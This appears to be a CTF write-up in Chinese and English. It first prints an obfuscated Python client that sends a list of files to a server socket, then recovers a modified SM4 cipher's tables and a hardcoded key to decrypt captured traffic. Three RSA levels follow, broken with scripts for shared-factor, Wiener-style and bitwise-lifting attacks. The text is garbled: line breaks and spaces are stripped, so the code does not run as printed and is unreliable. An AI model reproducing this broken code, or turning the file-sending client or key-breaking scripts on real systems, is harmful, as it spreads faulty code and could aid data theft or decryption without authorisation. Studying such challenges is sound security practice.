0:if _opaque_false(): print(_oe("2B2dm_GLArX8", 83, 214, 17)) _state = 1elif _state == 1:if len(sys.argv) < 2: _state = 5else: _state = 2elif _state == 2:if _verify_cmd(sys.argv[1]): _state = 3else: _state = 4elif _state == 3:ifnot _printed_header: print("=" * 50) print(_oe("8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)", 83, 214, 17)) print("=" * 50) _printed_header = True _state = 10elif _state == 4: print("错误:无效的命令") _state = 99elif _state == 5: print("用法:python client.py <command> [SERVER_HOST]") _state = 99elif _state == 10:try: _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) _state = 11except Exception: _state = 99elif _state == 11: _host = _get_server_host(sys.argv) _state = 12elif _state == 12:try: _sock.connect((_host, SERVER_PORT)) _state = 20except Exception as e: print(f"[!] 连接失败:{e}") _state = 99elif _state == 20:if _idx < len(FILES_TO_SEND): _state = 21else: _state = 30elif _state == 21: _fname = FILES_TO_SEND[_idx] _state = 22elif _state == 22:if os.path.exists(_fname): _state = 23else: _state = 28elif _state == 23:with open(_fname, "rb") as _f: _data = _f.read() _state = 24elif _state == 24:if _opaque_true(): print(f"[*] 发送文件") _state = 25elif _state == 25:ifnot _opaque_false(): send_single_file(_sock, _fname, _data) _state = 26elif _state == 26: _idx += 1 _state = 20elif _state == 28: print(f"[-] 文件不存在") _state = 29elif _state == 29: _idx += 1 _state = 20elif _state == 30:if _opaque_true(): time.sleep(0.2) _state = 31elif _state == 31:if _sock: _sock.close() _state = 99elif _state == 99:breakif __name__ == _oe("42g9itaJ>C", 83, 214, 17): _dead_calc()if _opaque_true(): main()else: _dead_calc()
主要问题是crypt_core.so。暴露出来只有个encode_data的接口。
拖进ida看眼,搜索发现似乎看起来是魔改sm4。然后表是后面初始化的,在0xDB80,0x
DB00,0xDBA0。
可以读到:
import ctypesimport sysclassPyMethodDef(ctypes.Structure): _fields_ = [ ("ml_name", ctypes.c_void_p), ("ml_meth", ctypes.c_void_p), ("ml_flags", ctypes.c_int), ("ml_doc", ctypes.c_void_p), ]classCyFuncObject(ctypes.Structure): _fields_ = [ ("ob_refcnt", ctypes.c_ssize_t), ("ob_type", ctypes.c_void_p), ("m_ml", ctypes.POINTER(PyMethodDef)), ("m_self", ctypes.c_void_p), ("m_module", ctypes.c_void_p), ("vectorcall", ctypes.c_void_p), ("mm_class", ctypes.c_void_p), ]sys.path.insert(0, "/Users/libr/Desktop/CTF/1/pyi_extract")import crypt_coreobj = CyFuncObject.from_address(id(crypt_core.encode_data))entry = obj.m_ml.contents.ml_methbase = entry - 0x9820db80 = ctypes.string_at(base + 0xDB80, 16)db00 = ctypes.string_at(base + 0xDB00, 128)dba0 = ctypes.string_at(base + 0xDBA0, 256)
然后再写个反向操作
KEY = b"passvkcDKWLAA45o"defrotl32(value, shift):return ((value << shift) | (value >> (32 - shift))) & 0xFFFFFFFFdeftau(value):return ( DBA0[(value >> 24) & 0xFF] << 24 | DBA0[(value >> 16) & 0xFF] << 16 | DBA0[(value >> 8) & 0xFF] << 8 | DBA0[value & 0xFF] )defl_transform(value):return value ^ rotl32(value, 2) ^ rotl32(value, 10) ^ rotl32(value, 18) ^ rotl32(value, 24)defl_prime_transform(value):return value ^ rotl32(value, 13) ^ rotl32(value, 23)defchunk_words(data, endian): out = []for offset in range(0, len(data), 4): part = data[offset : offset + 4] out.append(int.from_bytes(part, endian))return outdefpad_pkcs7(data): pad = 16 - (len(data) % 16)if pad == 0: pad = 16return data + bytes([pad]) * paddefunpad_pkcs7(data):ifnot data:raise ValueError("empty data") pad = data[-1]if pad < 1or pad > 16:raise ValueError("bad padding length")if data[-pad:] != bytes([pad]) * pad:raise ValueError("bad padding bytes")return data[:-pad]defexpand_round_keys(key, fk_endian, ck_endian): mk = chunk_words(key, "big") fk = chunk_words(DB80, fk_endian) ck = chunk_words(DB00, ck_endian) state = [mk[i] ^ fk[i] for i in range(4)] rks = []for index in range(24): value = state[index + 1] ^ state[index + 2] ^ state[index + 3] ^ ck[index] value = l_prime_transform(tau(value)) rk = state[index] ^ value state.append(rk) rks.append(rk)return rksdefencrypt_block(block, rks, block_endian): x = chunk_words(block, block_endian)for rk in rks: value = x[-3] ^ x[-2] ^ x[-1] ^ rk x.append(x[-4] ^ l_transform(tau(value))) out = x[-1], x[-2], x[-3], x[-4]returnb"".join(word.to_bytes(4, block_endian) for word in out)defdecrypt_block(block, rks, block_endian):return encrypt_block(block, list(reversed(rks)), block_endian)defencrypt_ecb(data, rks, block_endian): padded = pad_pkcs7(data) out = bytearray()for offset in range(0, len(padded), 16): out.extend(encrypt_block(padded[offset : offset + 16], rks, block_endian))return bytes(out)defdecrypt_ecb(data, rks, block_endian):if len(data) % 16 != 0:raise ValueError("ciphertext is not block aligned") out = bytearray()for offset in range(0, len(data), 16): out.extend(decrypt_block(data[offset : offset + 16], rks, block_endian))return unpad_pkcs7(bytes(out))
最后
import jsonwith open("./1.json", "r", encoding="utf-8") as handle: packets = json.load(handle)KEY = b"passvkcDKWLAA45o"rks = expand_round_keys(KEY, "little", "little")for p in packets: layers = p["_source"]["layers"]if"data"notin layers:continue payload_hex = layers["data"]["data.data"].replace(":", "") payload = bytes.fromhex(payload_hex) row = json.loads(payload) print(row) ciphertext = bytes.fromhex(row["ciphertext"]) plaintext = decrypt_ecb(ciphertext, rks, "big") print(plaintext.decode("utf-8", errors="replace"))
crypto
rsa
level1
given 20 pem and we can just brute force and find (1,2),(4,15) share the same factor,
and key 6,12,17 can be factored with wiener (small d)
then just crt recover.
from Crypto.PublicKey import RSAfrom Crypto.Cipher import AES, PKCS1_OAEPfrom Crypto.Util.number import long_to_bytesfrom math import gcd, isqrtfrom pathlib import Pathdefwiener_attack(n, e):defcontinued_fraction(num, den): frac = []while den: a = num // den frac.append(a) num, den = den, num - a * denreturn fracdefconvergents(frac): n0, d0 = frac[0], 1yield n0, d0if len(frac) == 1:return n1, d1 = frac[0] * frac[1] + 1, frac[1]yield n1, d1for a in frac[2:]: n0, n1 = n1, a * n1 + n0 d0, d1 = d1, a * d1 + d0yield n1, d1 frac = continued_fraction(e, n)for k, d in convergents(frac):if k == 0or (e * d - 1) % k:continue phi = (e * d - 1) // k s = n - phi + 1 disc = s * s - 4 * nif disc >= 0: t = isqrt(disc)if t * t == disc: p = (s + t) // 2 q = (s - t) // 2if p * q == n:return d, p, qreturnNonedefbuild_private_keys(base): keys_pub = {}for p in Path(base).glob('key-*.pem'): idx = int(p.stem.split('-')[1]) keys_pub[idx] = RSA.import_key(p.read_bytes()) priv = {}# Keys 1 and 2 share a factor n1, n2 = keys_pub[1].n, keys_pub[2].n g = gcd(n1, n2)for idx, n in [(1, n1), (2, n2)]: p, q = g, n // g phi = (p - 1) * (q - 1) d = pow(keys_pub[idx].e, -1, phi) priv[idx] = RSA.construct((n, keys_pub[idx].e, d, p, q))# Keys 4 and 15 share a factor n4, n15 = keys_pub[4].n, keys_pub[15].n g = gcd(n4, n15)for idx, n in [(4, n4), (15, n15)]: p, q = g, n // g phi = (p - 1) * (q - 1) d = pow(keys_pub[idx].e, -1, phi) priv[idx] = RSA.construct((n, keys_pub[idx].e, d, p, q))# Wiener attack on keys 6, 12, 17for idx in [6, 12, 17]: result = wiener_attack(keys_pub[idx].n, keys_pub[idx].e)if result: d, p, q = result priv[idx] = RSA.construct((keys_pub[idx].n, keys_pub[idx].e, d, p, q))return keys_pub, privdefdecrypt_ciphertext(priv, pub, ciphertext): nbits = pub.n.bit_length() key_len = (nbits + 7) // 8if len(ciphertext) < key_len + 28:returnNone header = ciphertext[:key_len] nonce = ciphertext[key_len:key_len + 12] body = ciphertext[key_len + 12:-16] tag = ciphertext[-16:]try:if nbits >= 2048:# OAEP for larger keys sk = PKCS1_OAEP.new(priv).decrypt(header)else:# Raw RSA for smaller keys m = pow(int.from_bytes(header, 'big'), priv.d, priv.n) sk = long_to_bytes(m).rjust(16, b'\x00') cipher = AES.new(sk, AES.MODE_GCM, nonce=nonce) pt = cipher.decrypt_and_verify(body, tag)return ptexcept Exception:returnNonedefcrt(residues, moduli): x = 0 M = 1for a, m in zip(residues, moduli): t = ((a - x) % m) * pow(M, -1, m) % m x += M * t M *= mreturn x, Mbase = "./level1"print("[*] Building private keys...")keys_pub, priv = build_private_keys(base)cts = {}for p in Path(base).glob('ciphertext-*.bin'): idx = int(p.stem.split('-')[1]) cts[idx] = p.read_bytes()print("[*] Decrypting ciphertexts...")working_pairs = []for kidx in sorted(priv):for cidx, ct in sorted(cts.items()): pt = decrypt_ciphertext(priv[kidx], keys_pub[kidx], ct)if pt isnotNone: working_pairs.append((cidx, kidx, priv[kidx])) print(f" Key {kidx} decrypts ciphertext {cidx}")plaintexts = {}for cidx, kidx, priv_key in working_pairs: ct = cts[cidx] pt = decrypt_ciphertext(priv_key, keys_pub[kidx], ct)if pt: lines = pt.decode().splitlines()[1:] # Skip header plaintexts[cidx] = linesfor line_no in range(9): residues = [] moduli = [] bits = Nonefor cidx in sorted(plaintexts): d, k, b = [int(x, 16) for x in plaintexts[cidx][line_no].split(':')] residues.append(k) moduli.append(d) bits = b x, M = crt(residues, moduli) blen = (bits + 7) // 8if M.bit_length() > bits: msg = x.to_bytes(blen, 'big') print(f"{msg}")
level2
uses ed = 1 \pmod {\frac{\phi(n)}{\gcd(p-1,q-1)} } instead of ed = 1 \pmod {\phi(n)}
so Enumerate small values of g = gcd(p-1, q-1) with continued fraction.
from math import isqrtimport hashlibdefcontinued_fraction(num, den): frac = []while den: a = num // den frac.append(a) num, den = den, num - a * denreturn fracdefconvergents(frac): n0, d0 = frac[0], 1yield n0, d0if len(frac) == 1:return n1, d1 = frac[0] * frac[1] + 1, frac[1]yield n1, d1for a in frac[2:]: n0, n1 = n1, a * n1 + n0 d0, d1 = d1, a * d1 + d0yield n1, d1n = xxxe = xxxfor g in range(2, 500, 2): frac = continued_fraction(g * e, n)for t, d in convergents(frac):if t == 0:continue num = e * d - 1if (num * g) % t:continue phi = (num * g) // t s = n - phi + 1 disc = s * s - 4 * nif disc < 0:continue sq = isqrt(disc)if sq * sq != disc:continue# Recover p and q p = (s + sq) // 2 q = (s - sq) // 2if p * q == n: print(f"[+] success")# Compute p + q print(f"[*] {p + q = }")# Compute password hash password = hashlib.sha256(str(p + q).encode()).hexdigest() print(f"[+] {password = }") exit(0)
level3
leak = ((p*A) ^ (q*B) ^ ((p&q)<<64) ^ ((p|q)<<48) ^ ((p^q)*C)) + ((p+q) mod 2^128) ^ ((p*q) & MASK64)
p*q mod 2^k depends on p mod 2^k and q mod 2^k, and lowbit(leak,k) also just depends on lowbit(p,k), lowbit(q,k). so we can just enumrate from the lowest bit
from Crypto.Util.number import long_to_bytesn = xxxe = 65537c = xxxleak = xxxA = 0xDEADBEEFCAFEBABE123456789ABCDEFFEDCBA9876543210B = 0xCAFEBABEDEADBEEF123456789ABCDEF0123456789ABCDEFC = 0x123456789ABCDEFFEDCBA9876543210FEDCBA987654321MASK64 = (1 << 64) - 1MOD128 = (1 << 128) - 1T = n & MASK64Y = leak ^ Tdefcheck_leak(p, q, k): mod = 1 << k X = ((p * A) ^ (q * B) ^ (((p & q) << 64) % mod) ^ (((p | q) << 48) % mod) ^ ((p ^ q) * C)) % mod S = (p + q) & MOD128return (X + S) % mod == Y % modstates = [(1, 1)]for k in range(1, 1536): mod = 1 << (k + 1) target_n = n % mod target_y = Y % mod new_states = []for p, q in states:for bp in (0, 1):for bq in (0, 1): pp = p | (bp << k) qq = q | (bq << k)if (pp * qq) % mod != target_n:continueifnot check_leak(pp, qq, k + 1):continue new_states.append((pp, qq)) states = new_statesp, q = states[0]phi = (p - 1) * (q - 1)d = pow(e, -1, phi)m = pow(c, d, n)flag = long_to_bytes(m)print(f"{flag = }")
夜雨聆风